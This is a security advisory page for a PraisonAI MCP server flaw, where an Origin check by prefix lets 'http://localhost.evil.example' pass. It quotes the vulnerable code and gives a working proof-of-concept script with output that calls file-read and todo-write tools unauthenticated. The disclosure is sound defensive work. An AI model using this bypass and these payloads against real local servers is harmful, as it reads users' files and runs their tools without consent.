VDB
Sign up
MEDIUM6.9

PYSEC-2026-3896

PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server

Quick fix

PYSEC-2026-3896 — praisonai: upgrade to the fixed version with the command below.

pip install --upgrade 'praisonai>=4.6.58'

Details

### Summary

PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the `Origin` header. The default localhost allowlist includes origins such as `http://localhost`, and the validation accepts any origin that starts with an allowed value.

As a result, an attacker-controlled origin such as `http://localhost.evil.example` passes the localhost origin check.

When the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP `tools/call` requests against a locally running PraisonAI MCP server.

This is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to `127.0.0.1`, so this is not a directly internet-facing unauthenticated API in the default configuration.

### Details

Relevant source locations:

- `src/praisonai/praisonai/mcp_server/cli.py` - `src/praisonai/praisonai/mcp_server/transports/http_stream.py` - `src/praisonai/praisonai/mcp_server/server.py` - `src/praisonai/praisonai/mcp_server/adapters/__init__.py` - `src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py` - `src/praisonai/praisonai/mcp_server/adapters/cli_tools.py` - `src/praisonai/praisonai/capabilities/files.py`

The MCP CLI defaults to HTTP host `127.0.0.1`, API key `None`, and allowed origins `None` unless explicitly configured:

```python parser.add_argument("--host", default="127.0.0.1") parser.add_argument("--port", type=int, default=8080) parser.add_argument("--api-key", default=None) parser.add_argument("--allowed-origins", default=None, help="Comma-separated allowed origins for security") ```

The CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:

```python register_all()

server.run_http_stream( host=parsed.host, port=parsed.port, endpoint=parsed.endpoint, api_key=parsed.api_key, cors_origins=cors_origins, allowed_origins=allowed_origins, session_ttl=parsed.session_ttl, allow_client_termination=allow_termination, response_mode=parsed.response_mode, resumability_enabled=parsed.resumability, ) ```

When `allowed_origins` is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:

```python if allowed_origins is None: if host in ("127.0.0.1", "localhost", "::1"): self.allowed_origins = [ "http://localhost", "http://127.0.0.1", "https://localhost", "https://127.0.0.1", ] ```

The vulnerable validation accepts origins that merely start with an allowlisted value:

```python for allowed in self.allowed_origins: if request_origin == allowed or request_origin.startswith(allowed): return True ```

Because `http://localhost.evil.example` starts with `http://localhost`, it is accepted as a trusted localhost origin.

Authentication is only enforced if an API key is configured:

```python if self.api_key: auth_header = request.headers.get("Authorization", "") if not auth_header.startswith("Bearer ") or auth_header[7:] != self.api_key: return JSONResponse( {"error": "Unauthorized"}, status_code=401, ) ```

The request body is then parsed and dispatched to the MCP server:

```python body = await request.json() response = await self.server.handle_message(body) ```

The MCP server handles `tools/call` by looking up the named tool and invoking the registered handler with attacker-controlled arguments:

```python tool_name = params.get("name") arguments = params.get("arguments", {})

tool = self._tool_registry.get(tool_name)

if asyncio.iscoroutinefunction(tool.handler): result = await tool.handler(**arguments) else: result = tool.handler(**arguments) ```

`register_all()` registers capability tools, extended capability tools, CLI tools, resources, and prompts:

```python def _register_all(): register_all_tools() register_extended_capability_tools() register_cli_tools() register_mcp_resources() register_mcp_prompts() ```

One exposed MCP tool is `praisonai.files.create`, which accepts a local `file_path` and passes it to `file_create()`:

```python @register_tool("praisonai.files.create") def files_create(file_path: str, purpose: str = "assistants") -> str: from praisonai.capabilities import file_create result = file_create(file=file_path, purpose=purpose) ```

`file_create()` opens attacker-selected string paths as local files and passes the file object to LiteLLM:

```python file_obj = file if isinstance(file, str): file_obj = open(file, 'rb')

response = litellm.create_file(**call_kwargs) ```

Another exposed MCP tool, `praisonai.todo.add`, writes attacker-supplied content into local PraisonAI state at `~/.praison/todo.json`.

### PoC

The following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory `litellm` module so the file-read effect is captured locally and safely.

Run from the repository root with test dependencies installed:

```bash python3 poc_mcp_origin_bypass.py ```

`poc_mcp_origin_bypass.py`:

```python import json import os import sys import tempfile import types from pathlib import Path

from starlette.testclient import TestClient

ROOT = Path.cwd() sys.path.insert(0, str(ROOT / "src" / "praisonai")) sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))

# Fake litellm so the PoC proves local file read without network exfiltration. captured = {} fake_litellm = types.ModuleType("litellm")

def create_file(**kwargs): f = kwargs["file"] captured["filename"] = getattr(f, "name", "<bytes>") captured["content"] = f.read().decode("utf-8")

class Resp: id = "file-safe-local-poc" object = "file" bytes = len(captured["content"]) filename = captured["filename"] purpose = kwargs.get("purpose") status = "processed"

return Resp()

fake_litellm.create_file = create_file sys.modules["litellm"] = fake_litellm

from praisonai.mcp_server.server import MCPServer from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport from praisonai.mcp_server.adapters import register_all

register_all() server = MCPServer(name="praisonai-local-poc")

# Default vulnerable configuration: localhost host, no API key, default allowed origins. transport = HTTPStreamTransport( server=server, host="127.0.0.1", api_key=None, allowed_origins=None, ) app = transport._create_app() client = TestClient(app)

with tempfile.TemporaryDirectory() as td: os.environ["HOME"] = td

marker = Path(td) / "safe-marker.txt" marker.write_text("SAFE_LOCAL_MARKER_MCP_FILE_READ")

file_payload = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "praisonai.files.create", "arguments": { "file_path": str(marker), "purpose": "assistants", }, }, }

# Non-localhost malicious origin is blocked. blocked = client.post( "/mcp", data=json.dumps(file_payload), headers={ "Origin": "https://evil.example", "Content-Type": "text/plain", }, )

# Prefix-matching bypass: accepted because it starts with http://localhost. bypass = client.post( "/mcp", data=json.dumps(file_payload), headers={ "Origin": "http://localhost.evil.example", "Content-Type": "text/plain", }, )

todo_payload = { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "praisonai.todo.add", "arguments": { "content": "SAFE_LOCAL_TODO_MARKER", "priority": "high", }, }, }

todo = client.post( "/mcp", data=json.dumps(todo_payload), headers={ "Origin": "http://localhost.evil.example", "Content-Type": "text/plain", }, )

todo_file = Path(td) / ".praison" / "todo.json"

print(json.dumps({ "blocked_origin_status": blocked.status_code, "bypass_origin_status": bypass.status_code, "bypass_response_text": bypass.json().get("result", {}).get("content", [{}])[0].get("text"), "captured_file_basename": Path(captured.get("filename", "")).name, "captured_file_content": captured.get("content"), "todo_status": todo.status_code, "todo_response_text": todo.json().get("result", {}).get("content", [{}])[0].get("text"), "todo_file_exists": todo_file.exists(), }, indent=2)) ```

Observed output:

```json { "blocked_origin_status": 403, "bypass_origin_status": 200, "bypass_response_text": "File created: file-safe-local-poc", "captured_file_basename": "safe-marker.txt", "captured_file_content": "SAFE_LOCAL_MARKER_MCP_FILE_READ", "todo_status": 200, "todo_response_text": "Todo added: 0440613d", "todo_file_exists": true } ```

The important results are:

- `Origin: https://evil.example` is rejected with `403`. - `Origin: http://localhost.evil.example` is accepted with `200`. - The bypassed request invokes `praisonai.files.create` and reads the local safe marker file. - The bypassed request invokes `praisonai.todo.add` and writes local PraisonAI state.

### Impact

A malicious webpage can bypass the localhost Origin allowlist and trigger MCP `tools/call` requests against a locally running unauthenticated HTTP Stream server.

In local testing, this allowed invoking registered PraisonAI tools that:

- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and - modify local PraisonAI state by writing to `~/.praison/todo.json`.

The default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI/praisonai
Introduced in: 0Fixed in: 4.6.58
Fixpip install --upgrade 'praisonai>=4.6.58'

References